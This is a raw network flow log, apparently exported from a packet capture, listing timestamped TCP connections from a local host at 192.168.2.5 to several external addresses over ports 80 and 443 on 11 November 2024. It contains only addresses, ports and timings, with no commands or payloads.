Nov 11, 2024 19:52:24.777451992 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777465105 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777479887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777483940 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777483940 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777493954 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777506113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777518988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777524948 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777525902 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777538061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777549982 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777549982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777559996 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777561903 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777573109 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777584076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777589083 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777589083 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777595997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777609110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777621984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777623892 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777623892 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777635098 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777646065 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777646065 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777648926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777656078 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777661085 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777674913 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777690887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777693033 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777693033 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777709961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777717113 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777717113 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777729034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777746916 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777755022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777767897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777771950 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777782917 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777786016 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777798891 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777812004 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777823925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777828932 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777828932 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777837038 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777848959 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777852058 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777861118 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777873039 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777889013 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777895927 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777895927 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777900934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777911901 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777915955 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777928114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777946949 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777954102 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777960062 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777971029 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777978897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777978897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.777982950 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.777997017 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778008938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778009892 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778022051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778033972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778036118 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778047085 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778050900 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778050900 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778059006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778072119 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778084993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778095007 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778095007 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778098106 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778110981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778125048 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778127909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778127909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778136969 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778148890 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778158903 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778158903 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778161049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778173923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778187037 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778193951 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778193951 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778193951 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778199911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778213978 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778218031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778228045 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778229952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778244019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778248072 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778255939 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778268099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778280020 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778290987 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778292894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778292894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778302908 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778315067 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778326988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778337955 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778350115 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778359890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778359890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778359890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778359890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778364897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778383970 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778388023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778388023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778394938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778408051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778419971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778438091 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778450012 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778451920 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778451920 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778451920 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778461933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778466940 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778475046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778486013 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778493881 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778493881 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778497934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778511047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778522968 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778528929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778528929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778536081 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778548002 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778554916 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778569937 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778573036 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778587103 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778598070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778604031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778609991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778615952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778624058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778629065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778635979 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778642893 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778642893 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778642893 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778647900 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778661013 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778671980 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778672934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778680086 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778706074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778718948 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778719902 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778731108 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778743982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778755903 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778768063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778774023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778774023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778774977 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778778076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778789043 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778800964 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778812885 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778816938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778831005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778834105 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778834105 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778834105 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778842926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778853893 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778867006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778871059 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778879881 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778892040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778903961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778914928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778917074 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778917074 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778917074 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778917074 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778935909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778949022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778959990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778969049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778969049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.778979063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.778991938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.779004097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.779015064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.779016972 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.779016972 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.779026985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.779041052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.779041052 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.779047966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.779053926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.779062986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.779081106 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.779095888 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.779165983 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.779252052 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.779725075 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.812643051 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.812664986 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.812736988 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.812783003 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.812783003 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.812798023 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.812808037 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.813230038 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.813256979 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.813292980 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.813307047 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.813342094 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.813672066 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.813685894 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.813750982 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.813750982 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.813761950 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.813770056 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.814062119 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.814069986 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.814135075 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.814151049 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.814199924 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.814208031 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.814241886 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.814285040 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.814358950 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.814424038 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.814522982 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.816063881 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.816078901 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.862575054 CET	443	49859	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.863122940 CET	443	49858	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.863346100 CET	49859	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.863363028 CET	443	49859	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.863487959 CET	49858	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.863501072 CET	443	49858	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.863682985 CET	443	49859	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.863811970 CET	443	49858	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.864651918 CET	49859	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.864717007 CET	443	49859	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.865042925 CET	49858	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.865102053 CET	443	49858	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.947180033 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.952322960 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.966200113 CET	49866	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.966217041 CET	443	49866	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.966377020 CET	49866	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.966680050 CET	49866	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.966692924 CET	443	49866	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.966912031 CET	49867	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.966950893 CET	443	49867	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.970390081 CET	49867	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.970895052 CET	49867	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.970909119 CET	443	49867	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.976115942 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:24.976142883 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:24.978353024 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:24.978420019 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:24.978427887 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:24.991288900 CET	49858	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.991297007 CET	49869	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.991333008 CET	443	49869	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.991390944 CET	49869	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.991766930 CET	49871	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.991772890 CET	49870	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.991775990 CET	443	49871	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.991803885 CET	443	49870	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.991853952 CET	49871	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.991854906 CET	49870	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.992044926 CET	49870	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.992048025 CET	49869	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.992058992 CET	443	49870	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.992059946 CET	443	49869	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:24.992408037 CET	49871	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:24.992417097 CET	443	49871	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.006654024 CET	49859	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:25.069489002 CET	49872	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.069509983 CET	443	49872	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.069760084 CET	49872	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.069952011 CET	49872	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.069964886 CET	443	49872	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.157207012 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157257080 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157272100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157329082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157330990 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.157330990 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.157341003 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157351971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157377005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157388926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157399893 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157408953 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.157412052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157423973 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.157438993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.157481909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.157481909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.157994986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158019066 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158030987 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158051968 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158073902 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158086061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158102036 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158190012 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158267021 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158282995 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158309937 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158322096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158334017 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158348083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158358097 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158358097 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158360004 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158371925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158382893 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158395052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158396959 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158396959 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158488989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158500910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158513069 CET	80	49755	185.215.113.206	192.168.2.5
